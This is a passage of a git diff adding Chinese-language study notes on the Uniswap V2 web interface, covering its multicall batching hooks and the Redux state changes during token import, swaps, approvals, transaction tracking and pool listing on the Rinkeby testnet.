+        // 如果报错, 但是completed为true, 跳过此次请求
+        if (completed) {
+          break;
+        }
+        // 如果重试次数小于等于0 或者 错误类型为不可重试的错误
+        // 取消请求并返回报错
+        if (n <= 0 || !(error instanceof RetryableError)) {
+          reject(error);
+          completed = true;
+          break;
+        }
+        n--;
+      }
+      // 在一段时间(随机生成)后, 重新开始请求
+      await waitRandom(minWait, maxWait);
+    }
+  });
+  return {
+    promise,
+    cancel: () => {
+      if (completed) return;
+      completed = true;
+      rejectCancelled(new CancelledError());
+    },
+  };
+}
+```
+
+### Updater()
+
+追踪监听器并发送请求
+
+相关知识点：
+
+- [需要清除的 effect](https://zh-hans.reactjs.org/docs/hooks-effect.html#%E9%9C%80%E8%A6%81%E6%B8%85%E9%99%A4%E7%9A%84-effect)
+- [useRef](https://zh-hans.reactjs.org/docs/hooks-reference.html#useref)
+
+```ts
+export default function Updater(): null {
+  const dispatch = useDispatch<AppDispatch>();
+  const state = useSelector<AppState, AppState["multicall"]>(
+    (state) => state.multicall
+  );
+  // wait for listeners to settle before triggering updates
+  // 对state的变化做防抖处理，延迟100ms触发更新，100ms内如果有新变化，则重新计时
+  const debouncedListeners = useDebounce(state.callListeners, 100);
+  const latestBlockNumber = useBlockNumber();
+  const { chainId } = useActiveWeb3React();
+  // multicall合约对象
+  const multicallContract = useMulticallContract();
+  // 返回一个react ref对象，用于在updater()的生命周期外持久化储存取消调用的方法，每次调用updater都会返回同一个对象
+  // 即每次触发useEffect时，都会先从ref中拿到上一轮请求的取消方法，然后执行取消操作
+  // useRef() 和自建一个 {current: ...} 对象的唯一区别是，useRef 会在每次渲染时返回同一个 ref 对象
+  const cancellations =
+    useRef<{ blockNumber: number; cancellations: (() => void)[] }>();
+
+  const listeningKeys: { [callKey: string]: number } = useMemo(() => {
+    return activeListeningKeys(debouncedListeners, chainId);
+  }, [debouncedListeners, chainId]);
+
+  // 获取未序列化并且已经过期的所有监听器key值
+  const unserializedOutdatedCallKeys = useMemo(() => {
+    return outdatedListeningKeys(
+      state.callResults,
+      listeningKeys,
+      chainId,
+      latestBlockNumber
+    );
+  }, [chainId, state.callResults, listeningKeys, latestBlockNumber]);
+
+  // 主要用于useEffect的监听
+  // 进行排序并使用JSON转成字符串，能避免监听器顺序不同但数据没有变化，却触发更新的情况
+  const serializedOutdatedCallKeys = useMemo(
+    () => JSON.stringify(unserializedOutdatedCallKeys.sort()),
+    [unserializedOutdatedCallKeys]
+  );
+
+  useEffect(() => {
+    if (!latestBlockNumber || !chainId || !multicallContract) return;
+
+    const outdatedCallKeys: string[] = JSON.parse(serializedOutdatedCallKeys);
+    if (outdatedCallKeys.length === 0) return;
+    const calls = outdatedCallKeys.map((key) => parseCallKey(key));
+
+    // 将数组根据指定大小进一步分割为数组块, 每一块子数组内部项目的数量相同/接近
+    const chunkedCalls = chunkArray(calls, CALL_CHUNK_SIZE);
+
+    // 先执行上一轮useEffect请求的取消方法
+    if (cancellations.current?.blockNumber !== latestBlockNumber) {
+      cancellations.current?.cancellations?.forEach((c) => c());
+    }
+
+    // 触发state的fetch事件
+    dispatch(
+      fetchingMulticallResults({
+        calls,
+        chainId,
+        fetchingBlockNumber: latestBlockNumber,
+      })
+    );
+
+    // 更新ref对象
+    cancellations.current = {
+      blockNumber: latestBlockNumber,
+      // cancellations 存储本轮调用的撤销方法
+      cancellations: chunkedCalls.map((chunk, index) => {
+        // 使用retry包裹批量请求，拿到撤销retry的方法和批量调用的promise
+        const { cancel, promise } = retry(
+          () => fetchChunk(multicallContract, chunk, latestBlockNumber),
+          {
+            n: Infinity,
+            minWait: 2500,
+            maxWait: 3500,
+          }
+        );
+        promise
+          .then(({ results: returnData, blockNumber: fetchBlockNumber }) => {
+            // 一旦批量调用成功，清空撤销方法，更新调用的区块高度（用于下一轮判断）
+            cancellations.current = {
+              cancellations: [],
+              blockNumber: latestBlockNumber,
+            };
+
+            // accumulates the length of all previous indices
+            // 计算索引值，用于更新结果
+            const firstCallKeyIndex = chunkedCalls
+              .slice(0, index)
+              .reduce<number>((memo, curr) => memo + curr.length, 0);
+            const lastCallKeyIndex = firstCallKeyIndex + returnData.length;
+
+            // 触发state更新事件，依照索引值对应更新每个callkey的最新请求数据(可能有多次返回数据)
+            // 并将结果根据callkey推入callResults
+            dispatch(
+              updateMulticallResults({
+                chainId,
+                results: outdatedCallKeys
+                  .slice(firstCallKeyIndex, lastCallKeyIndex)
+                  .reduce<{ [callKey: string]: string | null }>(
+                    (memo, callKey, i) => {
+                      memo[callKey] = returnData[i] ?? null;
+                      return memo;
+                    },
+                    {}
+                  ),
+                blockNumber: fetchBlockNumber,
+              })
+            );
+          })
+          .catch((error: any) => {
+            // 忽略用撤销方法引起的报错信息
+            if (error instanceof CancelledError) {
+              console.debug(
+                "Cancelled fetch for blockNumber",
+                latestBlockNumber
+              );
+              return;
+            }
+            console.error(
+              "Failed to fetch multicall chunk",
+              chunk,
+              chainId,
+              error
+            );
+            // 触发state 的error事件
+            dispatch(
+              errorFetchingMulticallResults({
+                calls: chunk,
+                chainId,
+                fetchingBlockNumber: latestBlockNumber,
+              })
+            );
+          });
+        return cancel;
+      }),
+    };
+  }, [
+    chainId,
+    multicallContract,
+    dispatch,
+    serializedOutdatedCallKeys,
+    latestBlockNumber,
+  ]);
+
+  return null;
+}
+```
+
+## hooks
+
+页面中实际使用 Multicall 模块的调用钩子
+
+### useCallsData
+
+hooks 内部使用 state 的方法
+
+- 对 calls 排序并排除无用的调用
+- 当依赖的数据发生变化时触发 useEffect 更新调用的状态
+
+```ts
+// the lowest level call for subscribing to contract data
+function useCallsData(
+  calls: (Call | undefined)[],
+  options?: ListenerOptions
+): CallResult[] {
+  const { chainId } = useActiveWeb3React();
+  const callResults = useSelector<
+    AppState,
+    AppState["multicall"]["callResults"]
+  >((state) => state.multicall.callResults);
+  const dispatch = useDispatch<AppDispatch>();
+
+  // 排序并剔除无用的调用(null|undefined)
+  const serializedCallKeys: string = useMemo(
+    () =>
+      JSON.stringify(
+        calls
+          ?.filter((c): c is Call => Boolean(c))
+          ?.map(toCallKey)
+          ?.sort() ?? []
+      ),
+    [calls]
+  );
+
+  // update listeners when there is an actual change that persists for at least 100ms
+  // 由于update的防抖机制,所以这里的更新间隔不会低于100ms
+  useEffect(() => {
+    const callKeys: string[] = JSON.parse(serializedCallKeys);
+    if (!chainId || callKeys.length === 0) return undefined;
+    const calls = callKeys.map((key) => parseCallKey(key));
+    // 触发state的add事件
+    dispatch(
+      addMulticallListeners({
+        chainId,
+        calls,
+        options,
+      })
+    );
+
+    return () => {
+      // 当下一轮useEffect触发后,会调用这里返回的方法
+      // 删除本轮的调用监听
+      dispatch(
+        removeMulticallListeners({
+          chainId,
+          calls,
+          options,
+        })
+      );
+    };
+  }, [chainId, dispatch, options, serializedCallKeys]);
+
+  return useMemo(
+    () =>
+      calls.map<CallResult>((call) => {
+        if (!chainId || !call) return INVALID_RESULT;
+
+        const result = callResults[chainId]?.[toCallKey(call)];
+        let data;
+        // 排除'0x'的结果
+        if (result?.data && result?.data !== "0x") {
+          data = result.data;
+        }
+
+        return { valid: true, data, blockNumber: result?.blockNumber };
+      }),
+    [callResults, calls, chainId]
+  );
+}
+```
+
+### toCallState
+
+由于 state 中存储的结果数据是一个 16 进制数字串,所以需要一个结合接口返回类型,将结果解析成`CallState`类型对象的函数
+
+```ts
+interface CallState {
+  // 是否有效
+  readonly valid: boolean;
+  // the result, or undefined if loading or errored/no data
+  // 调用结果, 当还在加载或者报错或没有数据时, 为 undefined
+  readonly result: Result | undefined;
+  // true if the result has never been fetched
+  // 如果结果从未被获取到时为 true
+  readonly loading: boolean;
+  // true if the result is not for the latest block
+  // 是否同步, 如果结果不是来自最近的区块时为 true
+  readonly syncing: boolean;
+  // true if the call was made and is synced, but the return data is invalid
+  // 当次调用已经完成且是同步过的, 但是返回的数据时无效的时候为 true
+  readonly error: boolean;
+}
+
+// 当调用结果为无效数据时的状态
+const INVALID_CALL_STATE: CallState = {
+  valid: false,
+  result: undefined,
+  loading: false,
+  syncing: false,
+  error: false,
+};
+
+// 当还在获取调用数据时的状态
+const LOADING_CALL_STATE: CallState = {
+  valid: true,
+  result: undefined,
+  loading: true,
+  syncing: true,
+  error: false,
+};
+
+function toCallState(
+  callResult: CallResult | undefined,
+  contractInterface: Interface | undefined,
+  fragment: FunctionFragment | undefined,
+  latestBlockNumber: number | undefined
+): CallState {
+  if (!callResult) return INVALID_CALL_STATE;
+  const { valid, data, blockNumber } = callResult;
+  if (!valid) return INVALID_CALL_STATE;
+  if (valid && !blockNumber) return LOADING_CALL_STATE;
+  if (!contractInterface || !fragment || !latestBlockNumber)
+    return LOADING_CALL_STATE;
+  const success = data && data.length > 2;
+  const syncing = (blockNumber ?? 0) < latestBlockNumber;
+  let result: Result | undefined = undefined;
+  if (success && data) {
+    try {
+      // contractInterface 是ethers.contract.interface对象
+      result = contractInterface.decodeFunctionResult(fragment, data);
+    } catch (error) {
+      console.debug("Result data parsing failed", fragment, data);
+      return {
+        valid: true,
+        loading: false,
+        error: true,
+        syncing,
+        result,
+      };
+    }
+  }
+  return {
+    valid: true,
+    loading: false,
+    syncing,
+    result: result,
+    error: !success,
+  };
+}
+```
+
+### useSingleContractMultipleData
+
+对同一个合约发起批量的请求(同一个方法,但参数不同)
+
+```ts
+export function useSingleContractMultipleData(
+  contract: Contract | null | undefined, // 合约实例
+  methodName: string, // 要调用的方法名
+  callInputs: OptionalMethodInputs[], // 传入的参数, 传入多少组参数就调用几次
+  options?: ListenerOptions // 传入监听器的配置项
+): CallState[] {
+  // 合约接口入参类型
+  const fragment = useMemo(
+    () => contract?.interface?.getFunction(methodName),
+    [contract, methodName]
+  );
+
+  // 组装calls
+  const calls = useMemo(
+    () =>
+      contract && fragment && callInputs && callInputs.length > 0
+        ? callInputs.map<Call>((inputs) => {
+            return {
+              address: contract.address,
+              callData: contract.interface.encodeFunctionData(fragment, inputs),
+            };
+          })
+        : [],
+    [callInputs, contract, fragment]
+  );
+
+  // 获取跟calls对应的结果数据
+  const results = useCallsData(calls, options);
+
+  const latestBlockNumber = useBlockNumber();
+
+  return useMemo(() => {
+    // toCallState 是对结果16进制数据,进行解析的函数
+    return results.map((result) =>
+      toCallState(result, contract?.interface, fragment, latestBlockNumber)
+    );
+  }, [fragment, contract, results, latestBlockNumber]);
+}
+```
+
+### useMultipleContractSingleData
+
+对多个合约发起相同方法和参数的请求
+
+```ts
+export function useMultipleContractSingleData(
+  addresses: (string | undefined)[], // 多个要调用的合约的地址
+  contractInterface: Interface, // 合约的接口
+  methodName: string, // 调用的方法名
+  callInputs?: OptionalMethodInputs, // 传入方法的参数值
+  options?: ListenerOptions // 传入监听器的配置项
+): CallState[] {
+  const fragment = useMemo(
+    () => contractInterface.getFunction(methodName),
+    [contractInterface, methodName]
+  );
+  const callData: string | undefined = useMemo(
+    () =>
+      // 检查调用参数只能是 string 或 number 类型
+      fragment && isValidMethodArgs(callInputs)
+        ? contractInterface.encodeFunctionData(fragment, callInputs)
+        : undefined,
+    [callInputs, contractInterface, fragment]
+  );
+
+  const calls = useMemo(
+    () =>
+      fragment && addresses && addresses.length > 0 && callData
+        ? addresses.map<Call | undefined>((address) => {
+            return address && callData
+              ? {
+                  address,
+                  callData,
+                }
+              : undefined;
+          })
+        : [],
+    [addresses, callData, fragment]
+  );
+
+  const results = useCallsData(calls, options);
+
+  const latestBlockNumber = useBlockNumber();
+
+  return useMemo(() => {
+    return results.map((result) =>
+      toCallState(result, contractInterface, fragment, latestBlockNumber)
+    );
+  }, [fragment, results, contractInterface, latestBlockNumber]);
+}
+```
+
+### useSingleCallResult
+
+调用一个合约的单次请求
+
+```ts
+export function useSingleCallResult(
+  contract: Contract | null | undefined,  // 要调用的合约的实例
+  methodName: string, // 调用方法名
+  inputs?: OptionalMethodInputs, // 传入方法的参数值
+  options?: ListenerOptions // 传入监听器的配置项
+): CallState {
+  const fragment = useMemo(
+    () => contract?.interface?.getFunction(methodName),
+    [contract, methodName]
+  );
+
+  const calls = useMemo<Call[]>(() => {
+    return contract && fragment && isValidMethodArgs(inputs)
+      ? [
+          {
+            address: contract.address,
+            callData: contract.interface.encodeFunctionData(fragment, inputs),
+          },
+        ]
+      : [];
+  }, [contract, fragment, inputs]);
+
+  const result = useCallsData(calls, options)[0];
+  const latestBlockNumber = useBlockNumber();
+
+  return useMemo(() => {
+    return toCallState(
+      result,
+      contract?.interface,
+      fragment,
+      latestBlockNumber
+    );
+  }, [result, contract, fragment, latestBlockNumber]);
+}
+```
diff --git a/defi/Uniswap-V2/Interface/UsageAndStates.md b/defi/Uniswap-V2/Interface/UsageAndStates.md
new file mode 100644
index 000000000..ad6fabe89
--- /dev/null
+++ b/defi/Uniswap-V2/Interface/UsageAndStates.md
@@ -0,0 +1,713 @@
+# Usage and States
+
+> V2 的用户交互流程及状态变化<br>
+> 追踪交互动作与状态数据变化的关系，可以帮助我们更好的理解程序运行的逻辑
+
+## 准备工作
+
+### 分析工具
+
+下面是两个 react 官方的 chrome 插件，用于辅助开发 react 应用
+
+- ReactDeveloperTools 快速定位组件在源码中的位置
+- ReduxDevTools 追踪程序运行过程中 redux 状态的变化
+
+### 演示环境和相关数据
+
+- rinkeby 测试网络
+- 测试网 DAI `0xc7AD46e0b8a400Bb3C915120d284AafbA8fc4735`
+- 自定义 token HEHE(HH) `0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85`
+- LPtoken `0x25c1CF39598DdD67bD68cA9e52f0c861D9Bf4c70`
+
+详细请戳这里 :point_right:[相关辅助数据](./InfoList.md)
+
+## 添加自定义 token
+
+在 token 列表中添加新的 token
+
+### 涉及的源码
+
+- `CurrencySearch`: src/components/SearchModal/CurrencySearch.tsx
+- `useToken`: src/hooks/Tokens.ts
+- `useSingleCallResult`: src/state/multicall/hooks.ts
+
+### initial state
+
+```ts
+user: {
+  ...
+  tokens: {}
+}
+callResults: {
+  '4': {    // 4 代表了rinkeby测试网
+    ...
+  }
+}
+```
+
+### 交互流程
+
+1. 在 Swap 界面点击 `Select a token` 按钮，填入自定义 token 的地址
+2. `CurrencySearch` 的 `searchQuery` 被赋值为自定义 token 地址，其值产生变化，触发 `useToken` 获取 token 的信息
+3. `useToken` 首先会在已有的 tokenlist 中查找，如果有则直接返回 token 信息
+4. 找不到 token 信息，会调用 `useSingleCallResult` 请求自定义 token 合约的 `name` `symbol` 和 `decimals` 字段，这里返回 'HEHE' 'HH' 和 1
+
+   - `useSingleCallResult` 是调用 multicall 合约的方法
+   - 在 state 中可以看到 callResults 新增了三条数据，其键的组成格式为 `{contract address}-{methodid}`
+   - 对照[methodid 列表](./InfoList.md#ERC20)查询 methodid 可以验证其对应的正是合约的三个 getter 函数 `name()` `symbol()` `decimals()`
+   - 关于 multicall 模块的批量请求过程会在 [Multicall 模块详解](./Multicall.md) 中解析，这里不再赘述
+
+   ```ts
+   // callResults 新增三条数据
+   ...
+   '0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85-0x06fdde03': {
+     ...
+   },
+   '0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85-0x313ce567': {
+     ...
+   },
+   '0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85-0x95d89b41': {
+     ...
+   }
+   ```
+
+5. `CurrencySearch` 拿到 token 信息，判断其不在已有列表中，固显示 import 按钮
+6. 用户点击 import，再次确认之后，触发 user state 的 `user/addSerializedToken` 事件，添加新的自定义 token
+
+   ```ts
+   // user state 新增自定义token信息
+   user: {
+     ...
+     tokens: {
+       '4': {
+         '0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85': {
+           chainId: 4,
+           address: '0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85',
+           decimals: 1,
+           symbol: 'HH',
+           name: 'HEHE'
+         }
+       }
+     },
+   }
+   ```
+
+7. 用户自定义的设置，远程请求的 token list 等信息都会被缓存到浏览器的 storage 中长期保存，加速以后的访问速度，即第二次进入时，自定义 token 无须再次 import
+
+## Swap
+
+token 交易界面
+
+### 涉及的源码
+
+- `SwapPage`: src/pages/Swap/index.tsx
+- `CurrencySearchModel`: src/components/SearchModal/CurrencySearchModel.tsx
+- `CurrencyList`: src/components/SearchModal/CurrencyList.tsx
+- `useCurrencyBalance`: src/state/wallet/hooks.ts
+- `useSwapActionHandlers`, `useDerivedSwapInfo`: src/state/swap/hooks.ts
+- `useTradeExactIn`, `useTradeExactOut`, `useAllCommonPairs`: src/hooks/Trades.ts
+
+详细代码解析请戳这里 :point_right: [Swap 代码解析](./Code.md#Swap)
+
+### init state
+
+```ts
+// swap state tokenInput 默认 ETH
+swap: {
+  INPUT: {
+    currencyId: 'ETH'   // 默认 ETH
+  },
+  OUTPUT: {
+    currencyId: ''      // 暂未选择 output
+  },
+  // 用户使用哪个输入框设置金额 即用户希望使用精确的 输入数值 还是 输出数值
+  independentField: 'INPUT',  // INPUT | OUTPUT
+  typedValue: '',   // 键入的数值
+  recipient: null   // 交易接收者的地址 仅高级模式可设置，默认是用户连接的钱包地址
+},
+transactions: {}
+```
+
+### 交互流程
+
+1. 在 Swap 界面点击 `Select a token` 按钮，`CurrencySearchModel` 弹窗展示可选择的 token 列表 `CurrencyList`
+2. `CurrencyList` 会自动遍历加载用户对应每种 token 的余额， 由`useCurrencyBalance` 调用 token 合约的 balanceOf 方法实现
+3. 选择 `DAI` 作为输入 token， 触发 swap state 的 `swap/selectCurrency` 事件
+4. 选择 `HH` 作为输出 token，此时 swap state 变化如下
+
+   ```ts
+   swap: {
+     INPUT: {
+       currencyId: '0xc7AD46e0b8a400Bb3C915120d284AafbA8fc4735'  // DAI 的地址
+     },
+     OUTPUT: {
+       currencyId: '0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85'  // HH 的地址
+     },
+     ...
+   }
+   ```
+
+5. 以指定输出数量为例，用户在输出 token 前面(下方的输入框)输入交易金额，触发 swap state 的 `swap/typeInput` 事件，
+
+   ```ts
+   // swap state changed
+   swap: {
+    ...
+    independentField: 'OUTPUT',   // 因为指定了输出金额，这里变成 OUTPUT
+    typedValue: '1',  // 指定交易出 1 个 HH token
+   }
+   ```
+
+6. state 中 typedValue 的更新会触发 `useDerivedSwapInfo` 计算最优交易路径和预计的输入数量
+
+   - 判断 `isExactIn` 即是否为指定精确输入的模式，布尔值，这里为 false
+   - 调用 `useTradeExactOut` 计算最佳交易路径和预计需要的输入 token 数量 [useTradeExactOut](./Code.md#useTradeExactOut)
+     - `singleHopOnly` 为用户是否禁止中转交易，即仅使用一个交易对交易，若交易对不存在池子则无法进行交易
+     - 这里可以看到交易框下方出现了备注信息，其中 Route 字段为 `DAI -> ETH -> HH`；因为没有 DAI - HH 的池子，所以需要通过两个 token 与 weth 的池子进行中转交易
+     - 调用 `useAllCommonPairs` 获取所有可能用到的交易对(包含中转交易对)，具体的逻辑[参见 useAllCommonPairs](./Code.md#useAllCommonPairs)
+     - 调用 `@uniswap/sdk/Trade.bestTradeExactOut` 计算最优交易路径
+
+7. 现在界面上已经显示出了最优交易路径和预计需要的输入数量，点击 swap 按钮和确认弹窗。如果 token 未授权会先提示 approve，[过程参考 ApproveToken](#ApproveToken)
+8. `useSwapCallback` 向 router 合约发起交易，返回交易的 状态，回调，报错
+
+   - `useSwapCallback` 中会先检查所有交易，并估算 gas 费用，在预执行过程中若有报错会立即抛出
+   - `useSwapCallback` 实际上一次只实际发送一笔交易，当需要发起多笔交易时，由 `SwapPage` 中的 `handleSwap` 监听上一笔交易的回调，当上一笔交易完成，会继续执行下一笔交易，直到全部执行完成
+   - 交易发送成功，向 transactions state 推送交易信息，以便追踪交易结果
+
+9. 监听交易的过程请看 [WatchingTransaction](#WatchingTransaction)
+
+#### 不同的交易方法
+
+交易分 6 种情况，对应 router 合约的 6 种交易方法
+
+| INPUT TOKEN | OUTPUT TOKEN | 用户输入位置 | Router swap method       |
+| ----------- | ------------ | ------------ | ------------------------ |
+| token       | token        | input        | swapExactTokensForTokens |
+| token       | token        | output       | swapTokensForExactTokens |
+| ETH         | token        | input        | swapExactETHForTokens    |
+| token       | ETH          | output       | swapTokensForExactETH    |
+| token       | ETH          | input        | swapExactTokensForETH    |
+| ETH         | token        | output       | swapETHForExactTokens    |
+
+## WatchingTransaction
+
+监听交易
+
+### 涉及的源码
+
+- `useTransactionAdder`: src/state/transactions/hooks.tsx
+- `TransactionReducer`: src/state/transactions/reducer.ts
+- `userTransactionAdder`: src/state/transactions/reducer.ts
+- `TransactionUpdater`: src/state/transactions/updater.ts
+
+详细代码解析请戳这里 :point_right: [Transaction 代码解析](./Code.md#Transaction)
+
+### init state
+
+```ts
+transactions: {
+}
+```
+
+### 流程
+
+1. 接着看 Swap 部分的后续，发送交易后，会向 transaction state 添加交易记录
+
+   ```ts
+   // transactions state add transation
+   transactions: {
+     '4': {
+       '0x28e3b29d664593fa382caa736d5418a426567abf4271b747d467144b31cd26ce': {
+         hash: '0x28e3b29d664593fa382caa736d5418a426567abf4271b747d467144b31cd26ce',
+         summary: 'Swap 40100000000 DAI for 1 HH',
+         from: '0xe45d43FEb3F65B4587510A68722450b629154e6f',
+         addedTime: 1629128326722, // 时间戳
+         lastCheckedBlockNumber: 9125844 // 区块高度
+       }
+     }
+   }
+   ```
+
+2. 监听交易结果，transactions state 触发 `transactions/checkedTransaction` 事件，当区块高度变化，更新交易信息的 `lastCheckedBlockNumber` 字段
+3. 交易确认，transactions state 触发 `transactions/finalizeTransaction` 事件， 记录交易结果
+
+   ```ts
+   // transactions state add
+   transactions: {
+     '4': {
+       '0x28e3b29d664593fa382caa736d5418a426567abf4271b747d467144b31cd26ce': {
+         hash: '0x28e3b29d664593fa382caa736d5418a426567abf4271b747d467144b31cd26ce',
+         summary: 'Swap 40100000000 DAI for 1 HH',
+         from: '0xe45d43FEb3F65B4587510A68722450b629154e6f',
+         addedTime: 1629128326722,
+         lastCheckedBlockNumber: 9125844,
+         // 以下是新增的交易结果数据
+         receipt: {
+           blockHash: '0xe05e5d4f90bf808baa02267b356ddcd3e694f0da3c88498f33572efd482d74a1',
+           blockNumber: 9125845,
+           contractAddress: null,
+           from: '0xe45d43FEb3F65B4587510A68722450b629154e6f',
+           status: 1,
+           to: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D',
+           transactionHash: '0x28e3b29d664593fa382caa736d5418a426567abf4271b747d467144b31cd26ce',
+           transactionIndex: 12
+         },
+         confirmedTime: 1629128357461
+       }
+     }
+   }
+   ```
+
+## ApproveToken
+
+### 涉及的源码
+
+- `useApproveCallback`: src/hooks/useApproveCallback.ts
+- `useTokenAllowance`: src/data/Allowances.ts
+- `useHasPendingApproval`: src/state/transactions/hooks.tsx
+
+详细代码解析请戳这里 :point_right: [ApproveToken 代码解析](./Code.md#Approve)
+
+### init state
+
+```ts
+transactions: {
+},
+application: {
+
+}
+```
+
+### 交互流程
+
+1. 在需要 token 授权的场景，程序会调用 `useTokenAllowance` 根据返回的 allowance 数量判断是否需要发起 approve
+2. 调用 `useApproveCallback` 有两个返回
+   - `approvalState` 当前 token 对于 router 合约的 approve 状态
+   - `approveCallback` 向 token 发起 approve 的方法
+3. `useApproveCallback` 的运行过程：
+   - 向 token 发送 multicall 调用查询对于 router 合约的 allowance 数量
+   - 如果数量不足，会先检查 transaction state 是否有 pending 状态的 approve 请求
+   - approve 状态有四种： `UNKNOWN`, `NOT_APPROVED`, `PENDING`, `APPROVED`
+   - 内部详细的执行过程可以看[useApproveCallback 的代码解析](./Code.md#useApproveCallback)
+4. 当用户点击 Approve 按钮，会调用上一步返回的 approveCallback 方法
+
+   - approve 的执行方法有两种模式，一个是最大数量授权，一个是精确数量的授权，会预执行前者若失败则执行后者
+   - 交易发送成功，向 transactions state 推送交易信息，以便追踪交易结果
+
+   ```ts
+   transactions: {
+    '0xd5c0fc192774b5a6d7ac7eb5e1937096909aca9ba78454386a371b6876fab611': {
+        hash: '0xd5c0fc192774b5a6d7ac7eb5e1937096909aca9ba78454386a371b6876fab611',
+        approval: {   //  相比swap交易多了approval字段
+          tokenAddress: '0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85',
+          spender: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D'
+        },
+        summary: 'Approve HH',
+        from: '0xe45d43FEb3F65B4587510A68722450b629154e6f',
+        addedTime: 1629196516760
+      }
+    }
+   ```
+
+5. 交易确认，显示提示弹窗
+
+   ```ts
+   transactions: {
+     '4': {
+      '0xd5c0fc192774b5a6d7ac7eb5e1937096909aca9ba78454386a371b6876fab611': {
+        hash: '0xd5c0fc192774b5a6d7ac7eb5e1937096909aca9ba78454386a371b6876fab611',
+        approval: {
+          tokenAddress: '0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85',
+          spender: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D'
+        },
+        summary: 'Approve HH',
+        from: '0xe45d43FEb3F65B4587510A68722450b629154e6f',
+        addedTime: 1629196516760,
+        lastCheckedBlockNumber: 9130389,
+        receipt: {   // 交易结果字段
+          blockHash: '0xb191afae62ee3625ac2f388fcb44a14c3ad9448ec93db0fc5bd65388bc30c5f1',
+          blockNumber: 9130390,
+          contractAddress: null,
+          from: '0xe45d43FEb3F65B4587510A68722450b629154e6f',
+          status: 1,
+          to: '0x6583989a0b7b86b026e50C4D0fa0FE1C5e3e8f85',
+          transactionHash: '0xd5c0fc192774b5a6d7ac7eb5e1937096909aca9ba78454386a371b6876fab611',
+          transactionIndex: 12
+        },
+        confirmedTime: 1629196539067
+      }
+     }
+   },
+   application: {
+     ...
+     // 显示交易成功的提示弹窗
+      popupList: [
+      {
+        key: '0xd5c0fc192774b5a6d7ac7eb5e1937096909aca9ba78454386a371b6876fab611',
+        show: true,
+        content: {
+          txn: {
+            hash: '0xd5c0fc192774b5a6d7ac7eb5e1937096909aca9ba78454386a371b6876fab611',
+            success: true,
+            summary: 'Approve HH'
+          }
+        },
+        removeAfterMs: 15000
+      }
+    ],
+   }
+   ```
+
+## PoolList
+
+### 涉及的源码
+
+- `PoolPage`: src/pages/Pool/index.tsx
+- `useTrackedTokenPairs`: src/state/user/hooks.tsx
+- `useMultipleContractSingleData`: src/state/multicall/hooks.ts
+
+详细代码解析请戳这里 :point_right: [PoolList 代码解析](./Code.md#PoolList)
+
+### init state
+
+```ts
+multicall: {
+  callListeners: {},
+  callResults: {},
+}
+```
+
+### 交互流程
+
+1. 进入 pool 页面，会自动索引常用的 pool 和用户自定义的 pool
+2. `useTrackedTokenPairs` 会生成一个需要追踪的 pair 列表，筛选条件如下
+   - 置顶交易对(每次必查的 Pool 列表)
+     - 只有主网有置顶交易对：[cDAI, cUSDC], [USDC, USDT], [DAI, USDT]
+   - 根据 base token 和所有 token 配对(仅限界面中的 token 列表)
+     - base token 内至少包含 WETH
+     - 主网还有 DAI, USDC, USDT, WBTC
+   - 用户自定义的 pair(User State 中的 pairs 字段)
+3. 根据追踪列表遍历请求用户在 pair 合约中的余额(ERC20)
+
+   - 调用 sdk 的 `Pair.getAddress(tokenA, tokenB)` 本地计算 pair 地址，然后将 pair 作为 ERC20 合约对象
+   - 生成 pair 地址列表，使用 Multicall 模块的 `useMultipleContractSingleData` 方法，批量调用所有 pair 合约的 `balanceOf` 方法
+   - 在 callListeners 中可以看到添加的追踪记录
+   - 键的格式为 `{pairAddress}-{methodid}{calldata}`, 0x70a08231 是 `balanceOf` 的 methodid
+
+   ```ts
+   multicall: {
+     // 批量调用balanceOf方法，调用监听器推入记录
+     callListeners: {
+       ...
+       // HH-WETH
+       '0x25c1CF39598DdD67bD68cA9e52f0c861D9Bf4c70-0x70a08231000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f': {
+         '1': 1
+       },
+       // UNI-WETH
+       '0x4E99615101cCBB83A462dC4DE2bc1362EF1365e5-0x70a08231000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f': {
+         '1': 1
+       },
+       // WETH-MKR
+       '0x80f07c368BCC7F8CbAC37E79Ec332c1D84e9335D-0x70a08231000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f': {
+         '1': 1
+       },
+       // WETH-DAI
+       '0x8B22F85d0c844Cf793690F6D9DFE9F11Ddb35449-0x70a08231000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f': {
+         '1': 1
+       },
+       ...
+     },
+     callResults: {},
+   }
+   ```
+
+4. 返回查询结果，推入 callResults，目前只有 `HH-WETH` 池子有余额
+
+   ```ts
+   multicall: {
+     callListeners: {
+       ...
+     },
+     callResults: {
+       ...
+       // HH-WETH
+       '0x25c1CF39598DdD67bD68cA9e52f0c861D9Bf4c70-0x70a08231000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f': {
+         data: '0x00000000000000000000000000000000000000000000000000000004ae1d0ecd',
+         blockNumber: 9134264
+       },
+       // UNI-WETH
+       '0x4E99615101cCBB83A462dC4DE2bc1362EF1365e5-0x70a08231000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f': {
+         data: '0x0000000000000000000000000000000000000000000000000000000000000000',
+         blockNumber: 9134264
+       },
+       // WETH-MKR
+       '0x80f07c368BCC7F8CbAC37E79Ec332c1D84e9335D-0x70a08231000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f': {
+         data: '0x0000000000000000000000000000000000000000000000000000000000000000',
+         blockNumber: 9134264
+       },
+       // WETH-DAI
+       '0x8B22F85d0c844Cf793690F6D9DFE9F11Ddb35449-0x70a08231000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f': {
+         data: '0x0000000000000000000000000000000000000000000000000000000000000000',
+         blockNumber: 9134264
+       },
+     },
+   }
+   ```
+
+5. V1 的池子查询，提示用户升级池子
+
